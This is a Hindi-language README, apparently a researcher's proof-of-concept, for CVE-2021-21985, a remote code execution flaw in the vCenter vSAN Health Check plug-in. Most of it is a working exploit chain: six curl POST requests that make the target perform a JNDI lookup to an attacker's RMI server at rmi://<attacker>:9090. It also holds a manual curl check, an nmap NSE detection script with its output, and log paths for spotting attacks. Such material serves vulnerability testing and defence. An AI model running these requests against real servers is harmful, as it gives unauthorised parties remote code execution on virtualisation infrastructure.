CVE-2021-21985 (असुरक्षित कोड)

CLASS/METHOD(s) उपलब्ध, PoC उद्देश्यों के लिए एक छोटा सा नमूना: com.vmware.vsan.client.services.capability.VsanCapabilityProvider

[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

vSphere Client (HTML5) में इनपुट सत्यापन के अभाव के कारण रिमोट कोड निष्पादन की भेद्यता है, जो vCenter Server में डिफ़ॉल्ट रूप से सक्षम Virtual SAN Health Check प्लग-इन में है।

यह मैन्युअल निरीक्षण vCenter पर डिफ़ॉल्ट रूप से उपलब्ध CLASS/METHOD(s) के आधार पर CVE-2021-21985 की उपस्थिति की जाँच करता है, जैसे "/ui/h5-vsan/rest/*" पर POST अनुरोध भेजकर और प्रतिक्रिया निकाय (200) JSON डेटा में देखकर।

मैन्युअल निरीक्षण:

# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

PoC Exploit जारी (1)

श्रेय: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

पुनरुत्पादन के चरण:

अपना python सर्वर प्रारंभ करें जो लक्ष्य प्रणाली (vCenter) से कनेक्शन प्राप्त करे, उदाहरण के लिए

# python3 -m http.server 9090

चरण 1: TargetObject को null पर सेट करें

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

चरण 2: setStaticMethod को payload पर सेट करें

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

चरण 3: setTargetMethod को doLookup पर सेट करें

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

चरण 4: setArguments को payload args के साथ सेट करें

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

चरण 5: प्रारंभिक payload वर्ग और विधियाँ

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

चरण 6: विधि invoke को ट्रिगर करें, इस POST के बाद कुछ सेकंड प्रतीक्षा करें और अपने pytthon सर्वर लॉग देखें

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

संदर्भ:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (NSE जाँचकर्ता)

यह स्क्रिप्ट vCenter पर डिफ़ॉल्ट रूप से उपलब्ध CLASS/METHOD(s) के आधार पर CVE-2021-21985 की उपस्थिति की जाँच करती है, जैसे "/ui/h5-vsan/rest/*" पर POST अनुरोध भेजकर और प्रतिक्रिया निकाय (200) JSON डेटा में देखकर।

उपयोग

# nmap -p443 --script CVE-2021-21985.nse <target>

आउटपुट

---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

vCenter vSAN Health (कंसोल लॉग)

vCenter लॉग का पथ

# /var/log/vmware/vsan-health/

vSphere Client (कंसोल लॉग)

हमलों की निगरानी

# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

लेखक

Alex Hernandez उर्फ (@_alt3kx_)